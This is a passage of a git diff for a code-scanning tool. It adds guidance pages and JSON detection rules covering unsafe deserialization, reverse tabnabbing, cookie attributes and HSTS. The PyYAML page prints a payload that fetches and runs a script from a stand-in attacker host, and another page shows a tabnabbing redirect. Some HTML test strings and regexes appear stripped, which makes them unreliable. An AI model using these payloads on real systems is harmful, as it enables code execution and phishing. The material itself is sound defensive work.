internal +packages, which is the exploitable combination. Two internal indexes are less severe but still +produce non-deterministic upgrades. + +## References + +* [pip: `--extra-index-url`](https://pip.pypa.io/en/stable/cli/pip_install/#cmdoption-extra-index-url) +* [Azure Artifacts: upstream sources](https://learn.microsoft.com/azure/devops/artifacts/concepts/upstream-sources) +* [Microsoft: 3 Ways to Mitigate Risk When Using Private Package Feeds](https://azure.microsoft.com/resources/3-ways-to-mitigate-risk-using-private-package-feeds/) diff --git a/guidance/DS425050.md b/guidance/DS425050.md new file mode 100644 index 00000000..53c93029 --- /dev/null +++ b/guidance/DS425050.md @@ -0,0 +1,70 @@ +# Do not deserialize untrusted data (Python model and object loaders) + +## Summary + +* `torch.load`, `joblib.load`, `dill.load` or the `marshal` module was detected. +* The three pickle-based loaders execute code contained in the file being loaded. `marshal` does not, + but it is unsafe for untrusted input for the separate reasons below. Use a format that carries data + only, such as safetensors for model weights or JSON for configuration. + +## Details + +The pickle-based loaders are not parsers. Each reconstructs live Python objects from the file, and +object reconstruction can invoke arbitrary code: + +* **`torch.load`** uses `pickle` internally. A crafted checkpoint runs code as soon as it is loaded, + before any inference happens. `weights_only=True` restricts this, and is the default from PyTorch + 2.6, but earlier versions and explicit `weights_only=False` remain exploitable. +* **`joblib.load`** is `pickle` with a compression layer, so it carries the same risk. +* **`dill.load`** extends `pickle` to serialize more object types, which widens the attack surface + rather than narrowing it. +* **`marshal`** does not execute the object it reconstructs, so it is not a code-execution primitive + in the way the loaders above are. It is still documented as not intended for untrusted data: it has + no version compatibility guarantees, and malformed input can crash the interpreter. + +This matters most for machine learning artifacts. Model files are routinely downloaded from public +sources such as GitHub or Hugging Face, are large and opaque, and are rarely reviewed. A checkpoint +is executable content that happens to be named like data. + +## Solution + +For model weights, prefer a format that cannot express code: + +``` python +from safetensors.torch import load_file + +state_dict = load_file("model.safetensors") +model.load_state_dict(state_dict) +``` + +Where `torch.load` cannot be avoided, restrict it to tensor data: + +``` python +state_dict = torch.load("model.pt", weights_only=True) +``` + +For configuration and interchange, use `json`, which produces only primitive types: + +``` python +import json + +with open("config.json", encoding="utf-8") as fp: + config = json.load(fp) +``` + +If a pickle-based format is unavoidable, ADM.10010 requires that you obtain security team approval, +inspect the file with `pickletools.dis()` before loading it, and load it only in a sandbox. + +## Severity Considerations + +Raise the severity when the file is downloaded at runtime, comes from a public model hub, or is +supplied by a user. Lower it when the artifact is produced by your own build, is stored with +integrity protection, and its provenance is verified before loading. + +## References + +* [Python: `pickle` — security warning](https://docs.python.org/3/library/pickle.html) +* [Python: `marshal`](https://docs.python.org/3/library/marshal.html) +* [PyTorch: `torch.load` and `weights_only`](https://pytorch.org/docs/stable/generated/torch.load.html) +* [Hugging Face: safetensors](https://huggingface.co/docs/safetensors/index) +* [OWASP: Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) diff --git a/guidance/DS425060.md b/guidance/DS425060.md new file mode 100644 index 00000000..8e150aad --- /dev/null +++ b/guidance/DS425060.md @@ -0,0 +1,63 @@ +# Do not deserialize untrusted data (PyYAML `yaml.load`) + +## Summary + +* `yaml.load` or `yaml.load_all` was called without a safe loader. +* Use `yaml.safe_load`, or pass `Loader=yaml.SafeLoader` explicitly. + +## Details + +YAML is not only a data format. The default PyYAML loader implements tags that construct arbitrary +Python objects, including `!!python/object/apply`, which calls a named callable with attacker-chosen +arguments. A document such as the following runs a command when loaded: + +``` yaml +!!python/object/apply:os.system ["curl attacker.example/x | sh"] +``` + +No unusual configuration is required for this to work; it is the behaviour of the default loader. + +The dangerous form is easy to reach by accident because `yaml.load(stream)` reads naturally and, in +PyYAML before 5.1, took no loader argument at all. From 5.1 the one-argument call still succeeds but +emits a warning, which is easy to miss in a service log. PyYAML 6 made `Loader` required, so the +one-argument call now raises `TypeError` instead; the risk there comes from passing an unsafe loader +explicitly. + +`SafeLoader` supports only standard YAML types: mappings, sequences, strings, numbers, booleans and +null. That is sufficient for configuration files, manifests and API payloads. + +## Solution + +Prefer the safe helper: + +``` python +import yaml + +with open("config.yml", encoding="utf-8") as fp: + config = yaml.safe_load(fp) +``` + +If `yaml.load` is required for another reason, name the loader: + +``` python +config = yaml.load(stream, Loader=yaml.SafeLoader) +``` + +`yaml.CSafeLoader` is the libyaml-backed equivalent and is also safe. Use `yaml.safe_load_all` for +multi-document streams. + +Do not rely on validating the parsed result afterwards. Code in the document runs during parsing, so +by the time you inspect the output it is already too late. + +## Severity Considerations + +Raise the severity when the document comes from a network request, an upload, or a repository that +contributors outside your trust boundary can write to. A YAML file that is part of the application's +own source tree and is not writable at runtime is a lower concern, though using the safe loader +costs nothing. + +## References + +* [PyYAML: `yaml.safe_load`](https://pyyaml.org/wiki/PyYAMLDocumentation) +* [PyYAML 5.1 loader changes](https://github.com/yaml/pyyaml/blob/master/CHANGES) +* [OWASP: Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) diff --git a/guidance/DS425070.md b/guidance/DS425070.md new file mode 100644 index 00000000..4f8faf4a --- /dev/null +++ b/guidance/DS425070.md @@ -0,0 +1,64 @@ +# Do not deserialize untrusted data (.NET binary formatters) + +## Summary + +* `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer`, `LosFormatter` or + `ObjectStateFormatter` was detected. +* None of these can be used safely with untrusted input. Use `System.Text.Json` or another approved + serializer. + +## Details + +These serializers write type names into the payload and instantiate whatever the payload names when +reading it back. The set of constructible types is therefore chosen by whoever controls the input, +not by the application. + +That is sufficient for remote code execution. Public gadget chains exist for types present in the +framework and in widely used libraries, so an attacker does not need any type from your codebase. The +payload is processed during deserialization, which means the attack completes before your code +inspects the result and before any validation you perform on the returned object. + +`BinaryFormatter` is obsolete: it produces a compile-time error by default from .NET 7, and the +implementation was removed from .NET 9. `NetDataContractSerializer` and `SoapFormatter` share the +design and the risk. `LosFormatter` and `ObjectStateFormatter` are the ASP.NET view state +serializers and are exploitable whenever view state integrity is not enforced. + +ADM.10010 approves only `System.Text.Json`, `XmlSerializer`, `DataContractSerializer`, +`DataContractJsonSerializer`, `Newtonsoft.Json` and Protocol Buffers. Everything built in and not on +that list should be treated as unsafe for untrusted data. + +## Solution + +Use `System.Text.Json`, which binds to a type you specify and constructs nothing else: + +``` csharp +Order? order = JsonSerializer.Deserialize(json); +``` + +Where an existing object graph must be preserved, `DataContractSerializer` is approved and requires +the expected type up front: + +``` csharp +var serializer = new DataContractSerializer(typeof(Order)); +var order = (Order?)serializer.ReadObject(stream); +``` + +If you use `Newtonsoft.Json`, leave `TypeNameHandling` at `None`, or supply a custom +`ISerializationBinder` that allows only an explicit list of types. + +A `SerializationBinder` on `BinaryFormatter` is not an adequate mitigation. Microsoft's guidance is +to stop using the type, not to constrain it, because the deserialization process itself is the +attack surface. + +## Severity Considerations + +This is reported as critical because a single reachable call with attacker-controlled input is +typically sufficient for code execution, with no further conditions. It remains critical even when +the payload appears to come from an internal source, since internal callers are a common pivot. + +## References + +* [.NET: BinaryFormatter security guide](https://learn.microsoft.com/dotnet/standard/serialization/binaryformatter-security-guide) +* [.NET: BinaryFormatter obsoletion](https://learn.microsoft.com/dotnet/fundamentals/syslib-diagnostics/syslib0011) +* [.NET: `System.Text.Json` overview](https://learn.microsoft.com/dotnet/standard/serialization/system-text-json/overview) +* [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html) diff --git a/guidance/DS425080.md b/guidance/DS425080.md new file mode 100644 index 00000000..d7208ba1 --- /dev/null +++ b/guidance/DS425080.md @@ -0,0 +1,64 @@ +# Do not deserialize untrusted data (`JavaScriptSerializer`) + +## Summary + +* `JavaScriptSerializer` or `SimpleTypeResolver` was detected. +* `JavaScriptSerializer` stopped being an approved safe deserializer on 2023-03-10. Use + `System.Text.Json`. + +## Details + +`JavaScriptSerializer` accepts an optional `JavaScriptTypeResolver`. When one is supplied, the +serializer honours a `__type` property in the JSON payload and constructs the type it names. With +`SimpleTypeResolver`, which resolves any type loadable in the current application domain, the +attacker chooses what gets constructed, and the usual gadget chains apply. This is the same class of +problem as `BinaryFormatter`, reached through a JSON payload. + +Without a type resolver the serializer binds to the target type and is far less dangerous, but it is +still no longer approved, for two additional reasons worth knowing: + +* It lives in `System.Web.Extensions`, which is .NET Framework only, so its use blocks a move to + modern .NET. +* Its recursion and length limits are configured through `MaxJsonLength` and `RecursionLimit` rather + than being safe by default, which makes denial of service through deeply nested input easy to + overlook. + +This rule reports both the type and the resolver so that the resolver is caught even where the +serializer is constructed elsewhere. + +## Solution + +Use `System.Text.Json`: + +``` csharp +Order? order = JsonSerializer.Deserialize(json); +``` + +If the code cannot be migrated yet, at minimum never construct the serializer with a type resolver, +and set explicit limits: + +``` csharp +var serializer = new JavaScriptSerializer +{ + MaxJsonLength = 1_000_000, + RecursionLimit = 32 +}; + +Order order = serializer.Deserialize(json); +``` + +Treat any occurrence of `SimpleTypeResolver` as unsafe regardless of context. There is no +configuration of it that restricts the types an attacker can name. + +## Severity Considerations + +Raise the severity to critical when a `JavaScriptTypeResolver` is supplied, since that is directly +exploitable. The finding remains important without a resolver because the type is deprecated and its +limits are not safe by default. + +## References + +* [.NET: `JavaScriptSerializer`](https://learn.microsoft.com/dotnet/api/system.web.script.serialization.javascriptserializer) +* [.NET: `SimpleTypeResolver`](https://learn.microsoft.com/dotnet/api/system.web.script.serialization.simpletyperesolver) +* [.NET: `System.Text.Json` overview](https://learn.microsoft.com/dotnet/standard/serialization/system-text-json/overview) +* [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html) diff --git a/guidance/DS425090.md b/guidance/DS425090.md new file mode 100644 index 00000000..868c54af --- /dev/null +++ b/guidance/DS425090.md @@ -0,0 +1,63 @@ +# Do not deserialize untrusted data (Boost Property Tree) + +## Summary + +* A Boost Property Tree reader (`read_json`, `read_xml`, or `boost::property_tree`) was detected. +* ADM.10010 approves Boost generally but singles out Property Tree as one to avoid. Prefer + nlohmann/json, or bound input size and nesting depth before parsing. + +## Details + +Boost Property Tree's JSON and XML readers descend recursively as they parse, with no limit on +nesting depth. A small input consisting only of opening brackets produces recursion proportional to +its length, which exhausts the stack and terminates the process. A few kilobytes are enough, so this +is a cheap denial of service against any endpoint that parses untrusted documents. + +Two further characteristics make it a poor fit for untrusted input: + +* **It is not a conforming JSON parser.** The documentation states that it is a property tree + serializer that happens to use JSON syntax. It does not preserve types, treating all scalars as + strings, and it silently discards duplicate keys rather than reporting them. Two parties reading + the same document can therefore disagree about its contents, which is a problem when one of them + is making a security decision. +* **XML reading inherits the underlying parser's entity handling**, so the external entity concerns + that apply to XML generally apply here too. + +This is reported for manual review rather than as a defect, because Property Tree is entirely +reasonable for a trusted local configuration file. + +## Solution + +For untrusted JSON, prefer a parser designed for it, with an explicit depth limit: + +``` cpp +#include + +auto parsed = nlohmann::json::parse(input, + /* callback */ nullptr, + /* allow_exceptions */ true); +``` + +Where Property Tree must be kept, reject oversized or deeply nested input before parsing rather than +during it, since the failure mode is a stack overflow that cannot be caught: + +``` cpp +if (input.size() > kMaxDocumentBytes || NestingDepth(input) > kMaxDepth) +{ + return Status::InvalidArgument(); +} +``` + +For XML, disable DTD and external entity resolution in whichever parser you adopt. + +## Severity Considerations + +Raise the severity when the document arrives from a network request or an upload, since that makes +the denial of service remotely reachable. Parsing a configuration file shipped with the application +is a low concern. + +## References + +* [Boost: Property Tree — "How to parse JSON"](https://www.boost.org/doc/libs/release/doc/html/property_tree/parsers.html) +* [nlohmann/json](https://github.com/nlohmann/json) +* [CWE-674: Uncontrolled Recursion](https://cwe.mitre.org/data/definitions/674.html) diff --git a/guidance/DS610000.md b/guidance/DS610000.md index 870f0994..a5ca8695 100644 --- a/guidance/DS610000.md +++ b/guidance/DS610000.md @@ -1,7 +1,67 @@ -### HTML Link Missing noopener or noreferrer +# HTML Link Missing noopener or noreferrer -When an HTML anchor tag contains `target=_blank`, it should also contain `rel="noopener noreferrer"`. +## Summary -#### More Information +* An anchor uses `target="_blank"` without `rel="noopener noreferrer"`. +* Add the `rel` attribute. -* [https://mathiasbynens.github.io/rel-noopener](https://mathiasbynens.github.io/rel-noopener) +## Details + +When a link opens in a new tab, the newly opened page receives a `window.opener` reference back to +the page that opened it. That reference crosses origins, and although it does not allow reading the +original page, it does allow one thing that matters: navigation. + +The opened page can execute `window.opener.location = "https://contoso-login.example"` at any time, +including seconds later once the user has switched tabs. The original tab, which the user believes +is still your site, is silently replaced with a page under someone else's control. Users check the +tab they are on, not the tab they left, so a sign-in form served this way is convincing. This is +known as reverse tabnabbing. + +The risk is highest for links to sites you do not control: user-supplied URLs, partner links, +documentation, and anything rendered from user content. + +* **`noopener`** severs the `window.opener` reference. This is the part that fixes the vulnerability. +* **`noreferrer`** additionally suppresses the `Referer` header, so the destination does not learn + which page linked to it. It also implies `noopener` in browsers too old to support `noopener` + directly. + +Modern browsers apply `noopener` implicitly for `target="_blank"`, but stating it explicitly is +still worthwhile: it protects users on older browsers, it survives a change of `target` value, and +it makes the intent reviewable. + +## Solution + +``` html +Open +``` + +When building links in script, set the same property: + +``` javascript +const link = document.createElement("a"); +link.href = url; +link.target = "_blank"; +link.rel = "noopener noreferrer"; +``` + +If you open windows programmatically, pass the feature explicitly, since `window.open` does not +inherit the anchor behaviour: + +``` javascript +window.open(url, "_blank", "noopener,noreferrer"); +``` + +Where links come from user content, add the attribute during sanitisation rather than relying on the +author to include it. + +## Severity Considerations + +Raise the severity when the link target is user-supplied or otherwise outside your control, and when +your site has a sign-in flow that an attacker could plausibly imitate. Links between pages of your +own site are a low concern. + +## References + +* [OWASP: Reverse Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing) +* [MDN: `rel="noopener"`](https://developer.mozilla.org/docs/Web/HTML/Attributes/rel/noopener) +* [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/) diff --git a/guidance/DS610001.md b/guidance/DS610001.md new file mode 100644 index 00000000..ce2d8661 --- /dev/null +++ b/guidance/DS610001.md @@ -0,0 +1,49 @@ +# Cookie Missing Security Attributes + +## Summary + +* A literal `Set-Cookie` header is missing `Secure`, `HttpOnly`, or a valid explicit `SameSite` attribute. +* Set all three protections, choosing the `SameSite` policy appropriate for the application. + +## Details + +Each attribute addresses a different risk. `Secure` restricts transmission to HTTPS. `HttpOnly` +prevents JavaScript from reading the cookie. `SameSite` controls when the browser sends the cookie +with cross-site requests, reducing exposure to cross-site request forgery. + +Setting one attribute does not provide the protections of the others. In particular, `Secure` +alone does not prevent script access to a session cookie. The rule reports partially hardened +headers as well as headers with none of the protections. + +The attributes must belong to the same cookie. An attribute on another `Set-Cookie` header does +not protect this cookie, even when both headers are set on the same source line. Cookie names or +values containing words such as `Secure` do not count as attributes. + +## Solution + +Configure cookie middleware to set the attributes consistently. When emitting a literal header: + +```javascript +response.setHeader("Set-Cookie", "session=value; Path=/; Secure; HttpOnly; SameSite=Lax"); +``` + +Use `SameSite=Strict` where the application's navigation and authentication flows permit it. +Use `SameSite=None` only when cross-site delivery is required, and retain `Secure`; browsers +require it for `SameSite=None`. An explicit policy avoids reliance on browser-specific defaults. +`SameSite` is defense in depth, not a replacement for the application's CSRF protections. + +## Severity Considerations + +This is a best-practice finding because cookie purposes differ. The risk is greater for session +identifiers and authentication cookies. If a non-sensitive cookie must be read by JavaScript, +review and document that need before narrowly suppressing the `HttpOnly` finding. + +The rule recognizes common literal header forms, not framework cookie-option objects, computed +header values, or protections added by middleware. A clean scan does not establish that every +response cookie is protected. Confirm the effective headers in integration tests. + +## References + +* [MDN: Set-Cookie](https://developer.mozilla.org/docs/Web/HTTP/Headers/Set-Cookie) +* [OWASP: Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) +* [RFC 6265: HTTP State Management Mechanism](https://www.rfc-editor.org/rfc/rfc6265) \ No newline at end of file diff --git a/guidance/DS610002.md b/guidance/DS610002.md new file mode 100644 index 00000000..4362a447 --- /dev/null +++ b/guidance/DS610002.md @@ -0,0 +1,60 @@ +# HSTS Missing Required Directives + +## Summary + +* A literal `Strict-Transport-Security` header is missing a `max-age` of at least one year or `includeSubDomains`. +* Configure both directives and send the header over HTTPS. + +## Details + +HTTP Strict Transport Security (HSTS) tells a browser to use HTTPS for future connections to a +host, including when a user follows an HTTP link. Browsers accept this policy only over a secure +connection. It does not protect a first visit made over HTTP before the browser knows the policy. + +`max-age` controls how long the browser remembers the policy, in seconds. This rule uses one year +(`31536000`) as the minimum deployment baseline; RFC 6797 itself does not mandate that minimum. +`includeSubDomains` extends the policy to subdomains. Both protections must be present in the +same header: a long lifetime alone leaves subdomains outside the policy, and a short lifetime with +`includeSubDomains` still expires too soon. + +The check accepts decimal lifetimes at or above the baseline, including quoted decimal values, +and compares directive names without regard to case. An unrelated header or a similar-looking +directive name cannot supply a missing protection. + +The rule also reports duplicated `max-age` or `includeSubDomains` directives, which invalidate the +policy. Quoted values of extension directives are treated as data, not as additional directives. + +## Solution + +Ensure every affected host and subdomain supports HTTPS with a valid certificate before enabling +a long-lived policy with `includeSubDomains`. Then configure the server or application centrally: + +```javascript +response.setHeader("Strict-Transport-Security", "max-age=31536000; includeSubDomains"); +``` + +For Nginx: + +```nginx +add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; +``` + +Verify the effective header on HTTPS responses, including error responses, and check subdomain +compatibility during deployment. Preloading is a separate operational decision, not required by +this rule. Adding the `preload` token alone does not enroll a domain in a browser preload list. + +## Severity Considerations + +This is a best-practice finding. Short lifetimes can be intentional during a staged rollout, and +`max-age=0` intentionally removes a remembered policy. Review such cases against the deployment +plan before narrowly suppressing the finding. + +The rule examines common literal header forms. It does not detect an entirely absent HSTS header, +evaluate runtime expressions, or establish that middleware or proxies deliver the policy over +HTTPS. A clean scan is not a substitute for testing the actual responses. + +## References + +* [RFC 6797: HTTP Strict Transport Security](https://www.rfc-editor.org/rfc/rfc6797) +* [MDN: Strict-Transport-Security](https://developer.mozilla.org/docs/Web/HTTP/Headers/Strict-Transport-Security) +* [OWASP: HTTP Strict Transport Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html) \ No newline at end of file diff --git a/rules/default/security/TLS/tls_appcontext.json b/rules/default/security/TLS/tls_appcontext.json index 4bb248be..a3542a85 100644 --- a/rules/default/security/TLS/tls_appcontext.json +++ b/rules/default/security/TLS/tls_appcontext.json @@ -6,6 +6,7 @@ "recommendation": "Review to ensure that a TLS protocol agility is maintained.", "applies_to": [ "csharp", + "razor", "powershell", "vb", "fsharp" diff --git a/rules/default/security/TLS/tls_cobol.json b/rules/default/security/TLS/tls_cobol.json index 9c162cf4..9a30af91 100644 --- a/rules/default/security/TLS/tls_cobol.json +++ b/rules/default/security/TLS/tls_cobol.json @@ -25,6 +25,12 @@ ], "_comment": "https://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.gska100/sssl2env999503.htm" } + ], + "must-match": [ + " MOVE GSK_PROTOCOL_TLSV1 TO GSK-ATTR-ID." + ], + "must-not-match": [ + " MOVE GSK-PROTOCOL-TLSV13 TO GSK-ATTR-ID." ] } -] \ No newline at end of file +] diff --git a/rules/default/security/TLS/tls_functioncall.json b/rules/default/security/TLS/tls_functioncall.json index 5251d891..fae7b0e7 100644 --- a/rules/default/security/TLS/tls_functioncall.json +++ b/rules/default/security/TLS/tls_functioncall.json @@ -6,6 +6,7 @@ "recommendation": "Review to ensure that a TLS protocol agility is maintained.", "applies_to": [ "csharp", + "razor", "powershell", "vb", "fsharp" diff --git a/rules/default/security/TLS/tls_generic.json b/rules/default/security/TLS/tls_generic.json index 2e10a29e..3370b8aa 100644 --- a/rules/default/security/TLS/tls_generic.json +++ b/rules/default/security/TLS/tls_generic.json @@ -25,14 +25,15 @@ "scopes": [ "code" ], - "modifiers" : ["i"], + "modifiers": [ + "i" + ], "_comment": "Generic reference to a SSL/TLS version" } ], - "conditions" : [ + "conditions": [ { - "pattern" : - { + "pattern": { "pattern": "--tlsv1.3", "type": "string", "scopes": [ @@ -42,6 +43,13 @@ "negate_finding": true, "search_in": "same-line" } + ], + "must-match": [ + "curl --tlsv1.1 https://example.com", + "context = SSL.Context(SSL.TLSv1_METHOD)" + ], + "must-not-match": [ + "curl --tlsv1.3 https://example.com" ] }, { @@ -73,7 +81,7 @@ "_comment": "OpenSSL functions that implement specific protocol versions" }, { - "pattern": "DTLSv1_listen|SSL_stateless", + "pattern": "DTLSv1_listen", "type": "regex", "scopes": [ "code" @@ -112,6 +120,17 @@ ], "_comment": "OpenSSL cipher suite" } + ], + "must-match": [ + "const SSL_METHOD *m = SSLv23_method();", + "SSL_CTX_set_max_proto_version(ctx, TLS1_1_VERSION);", + "flags |= SSL_EXT_TLS_ONLY;", + "options |= SSL_OP_NO_SSLv3;", + "SSL_CTX_set_cipher_list(ctx, \"AES256-SHA\");" + ], + "must-not-match": [ + "const SSL_METHOD *m = DTLS_method();", + "SSL_stateless(ssl);" ] }, { @@ -142,8 +161,14 @@ ], "_comment": "BoringSSL functions that implement specific protocol versions" } + ], + "must-match": [ + "if (version == TLS1_2_VERSION) { return 0; }" + ], + "must-not-match": [ + "if (version == best_version) { return 0; }" ] - }, + }, { "name": "GnuTLS: Hard-coded SSL/TLS Protocol", "id": "DS440013", @@ -172,8 +197,14 @@ ], "_comment": "GnuTLS functions that implement specific protocol versions" } + ], + "must-match": [ + "gnutls_priority_set_direct(session, \"GNUTLS_SSL3\", NULL);" + ], + "must-not-match": [ + "gnutls_priority_set_direct(session, \"NORMAL\", NULL);" ] - }, + }, { "name": "LibreSSL: Hard-coded SSL/TLS Protocol", "id": "DS440014", @@ -202,8 +233,14 @@ ], "_comment": "LibreSSL functions that implement specific protocol versions" } + ], + "must-match": [ + "ctx->min_version = TLS1_VERSION;" + ], + "must-not-match": [ + "ctx->min_version = best_version;" ] - }, + }, { "name": "mbedTLS: Hard-coded SSL/TLS Protocol", "id": "DS440015", @@ -239,13 +276,20 @@ "code" ], "_comment": "mbedTLS functions that implement specific protocol versions" - } + } + ], + "must-match": [ + "mbedtls_ssl_conf_min_version(&conf, MBEDTLS_SSL_PROTO_TLS1_1, 0);", + "conf.max_major_ver = MBEDTLS_SSL_MAJOR_VERSION_3;" + ], + "must-not-match": [ + "mbedtls_ssl_conf_min_tls_version(&conf, MBEDTLS_SSL_VERSION_TLS1_3);" ] }, { "name": "Generic: Hard-coded SSL/TLS Protocol", "id": "DS440016", - "description": "Curl: Hard-coded SSL/TLS Protocol", + "description": "Generic: Hard-coded SSL/TLS Protocol", "recommendation": "Review to ensure that a TLS protocol agility is maintained.", "overrides": [ "DS440000" @@ -262,55 +306,22 @@ "rule_info": "DS440001.md", "patterns": [ { - "pattern": "--(sslv2|sslv3|tlsv1|tlsv11|tlsv1\\.1|tlsv1\\.2)", + "pattern": "(?\n \n \n \n" + ], + "must-not-match": [ + "\n\n \n \n \n \n" + ] + }, + { + "name": "Additional package index configured", + "id": "DS205001", + "description": "ADM.10205 states that --extra-index-url and PIP_EXTRA_INDEX_URL must not be used. pip treats every extra index as equal in priority to the primary one, so an attacker who publishes a higher version of an internal package name on a public index can have it installed instead.", + "recommendation": "Use a single --index-url pointing at your Azure Artifacts feed, and configure public packages as an upstream source on that feed.", + "applies_to": [ + "python", + "shellscript", + "powershell", + "yaml", + "dotenv", + "dockerfile", + "pip-requirements", + "pip-config", + ".config" + ], + "tags": [ + "SupplyChain.PackageSource" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS205001.md", + "patterns": [ + { + "pattern": "(--extra-index-url|PIP_EXTRA_INDEX_URL|extra-index-url\\s*=)", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "pip install --extra-index-url https://pypi.org/simple contoso-lib", + "[global]\nextra-index-url = https://pypi.org/simple", + "RUN pip install --extra-index-url https://pypi.org/simple contoso-lib", + "--extra-index-url https://pypi.org/simple\ncontoso-lib", + "PIP_EXTRA_INDEX_URL=https://pypi.org/simple" + ], + "must-not-match": [ + "pip install --index-url https://pkgs.dev.azure.com/contoso/_packaging/feed/pypi/simple contoso-lib" + ] + } +] diff --git a/rules/default/security/web/html_links.json b/rules/default/security/web/html_links.json new file mode 100644 index 00000000..6b5e092a --- /dev/null +++ b/rules/default/security/web/html_links.json @@ -0,0 +1,77 @@ +[ + { + "name": "HTML link missing noopener or noreferrer", + "id": "DS610000", + "description": "An anchor with target=\"_blank\" gives the opened page a window.opener reference back to this one. The opened page can use it to navigate this tab to a site of its choosing, which is the reverse tabnabbing phishing technique.", + "recommendation": "Add rel=\"noopener noreferrer\" to the anchor.", + "applies_to": [ + "html", + "razor", + "javascript", + "javascriptreact", + "typescript", + "typescriptreact", + "php" + ], + "tags": [ + "Web.HTML" + ], + "confidence": "medium", + "severity": "BestPractice", + "rule_info": "DS610000.md", + "patterns": [ + { + "pattern": "]|\"[^\"]*\"|'[^']*')*>", + "type": "regex", + "scopes": [ + "code" + ], + "modifiers": [ + "i" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "^]|\"[^\"]*\"|'[^']*')*?\\s+target\\s*=\\s*(?:\"_blank\"|'_blank'|_blank(?=[\\s>]))", + "type": "regex", + "scopes": [ + "code" + ], + "modifiers": [ + "i" + ] + }, + "negate_finding": false, + "search_in": "finding-only" + }, + { + "pattern": { + "pattern": "^]|\"[^\"]*\"|'[^']*')*?\\s+rel\\s*=\\s*(?:\"\\s*(?:[^\"\\s]+\\s+)*(?:noopener|noreferrer)(?=\\s|\")[^\"]*\"|'\\s*(?:[^'\\s]+\\s+)*(?:noopener|noreferrer)(?=\\s|')[^']*'|(?:noopener|noreferrer)(?=[\\s>]))", + "type": "regex", + "scopes": [ + "code" + ], + "modifiers": [ + "i" + ] + }, + "negate_finding": true, + "search_in": "finding-only" + } + ], + "must-match": [ + "OpenAbout", + "Open", + "noopener Open", + "Open" + ], + "must-not-match": [ + "Open", + "Open", + "Open", + "About" + ] + } +] diff --git a/rules/default/security/web/http_headers.json b/rules/default/security/web/http_headers.json new file mode 100644 index 00000000..483b156e --- /dev/null +++ b/rules/default/security/web/http_headers.json @@ -0,0 +1,222 @@ +[ + { + "name": "Cookie missing security attributes", + "id": "DS610001", + "description": "A literal Set-Cookie header is missing Secure, HttpOnly, or an explicit valid SameSite attribute. Setting only some of these attributes leaves other cookie protections unenforced.", + "recommendation": "Set Secure and HttpOnly, and explicitly choose SameSite=Lax, SameSite=Strict, or SameSite=None as appropriate for the application.", + "tags": [ + "Web.HTTP.Cookie" + ], + "confidence": "medium", + "severity": "BestPractice", + "rule_info": "DS610001.md", + "patterns": [ + { + "pattern": "(?:(?\")|(?')|(?=[ \\t]*(?(doubleQuotedSource)(?=\\\\\"))(?\\\\?\")[^\\s\"\\\\;,]*\\k|\\\\(?![rn]).|(?(doubleQuotedSource)[^\\\\\\r\\n\"]|(?(singleQuotedSource)[^\\\\\\r\\n\"']|[^\\\\\\r\\n\"])))+(?=[\\r\\n\"']|\\\\[rn]|$)(?![\"']\\s*[+.])", + "type": "regex", + "scopes": [ + "code" + ], + "modifiers": [ + "i" + ], + "label": "rawHeader" + }, + { + "pattern": "(?\")|(?')|(?=[ \\t]*(?(doubleQuotedSource)(?=\\\\\"))(?\\\\?\")(?:(?!\\k)(?:\\\\(?![rn]).|[^\\\\\\r\\n]))*\\k|\\\\(?![rn]).|(?(doubleQuotedSource)[^\\\\\\r\\n\"]|(?(singleQuotedSource)[^\\\\\\r\\n\"']|[^\\\\\\r\\n\"])))+(?=[\\r\\n\"']|\\\\[rn]|$)(?![\"']\\s*[+.])", + "type": "regex", + "scopes": [ + "code" + ], + "modifiers": [ + "i" + ], + "label": "rawHeader" + }, + { + "pattern": "(?[\"']))[ \\t;]*(?:(?:(?(maxAge)(?!))(?max-age[ \\t]*=[ \\t]*(?\\\\?\"|)0*(?:3153[6-9][0-9]{3}|315[4-9][0-9]{4}|31[6-9][0-9]{5}|3[2-9][0-9]{6}|[4-9][0-9]{7}|[1-9][0-9]{8,})\\k)|(?(subdomains)(?!))(?includeSubDomains)|(?!(?:max-age|includeSubDomains)(?=[ \\t=;\"']|$))[!#$%&'*+.^_`|~0-9A-Za-z-]+(?:[ \\t]*=[ \\t]*(?:[!#$%&'*+.^_`|~0-9A-Za-z-]+|(?\\\\?\")(?:(?!\\k)(?:\\\\(?![rn]).|[^\\\\\\r\\n]))*\\k))?)[ \\t]*(?:;[ \\t;]*|(?=(?(valueQuote)\\k|$))))+(?(valueQuote)\\k)$(?(maxAge)|(?!))(?(subdomains)|(?!))", + "type": "regex", + "scopes": [ + "code" + ], + "modifiers": [ + "i" + ] + }, + "negate_finding": false, + "search_in": "finding-only", + "label": "validPolicy" + } + ], + "expression": "(rawHeader OR literalHeader) AND NOT validPolicy", + "must-match": [ + "header(\"Strict-Transport-Security: max-age=300; custom=O'Brien; includeSubDomains\");", + "Strict-Transport-Security: max-age=300; custom=O'Brien; includeSubDomains", + "Strict-Transport-Security: max-age=0; max-age=31536000; includeSubDomains", + "Strict-Transport-Security: max-age=31536000; includeSubDomains; includeSubDomains", + "Strict-Transport-Security: max-age=300; custom=\"max-age=31536000; includeSubDomains\"", + "Strict-Transport-Security: max-age=0", + "Strict-Transport-Security: max-age=31536000", + "Strict-Transport-Security: includeSubDomains", + "Strict-Transport-Security: max-age=31535999; includeSubDomains", + "Strict-Transport-Security: max-age=00031535999; includeSubDomains", + "Strict-Transport-Security: max-age=-31536000; includeSubDomains", + "Strict-Transport-Security: max-age=31536000invalid; includeSubDomains", + "Strict-Transport-Security: max-age=31536000; 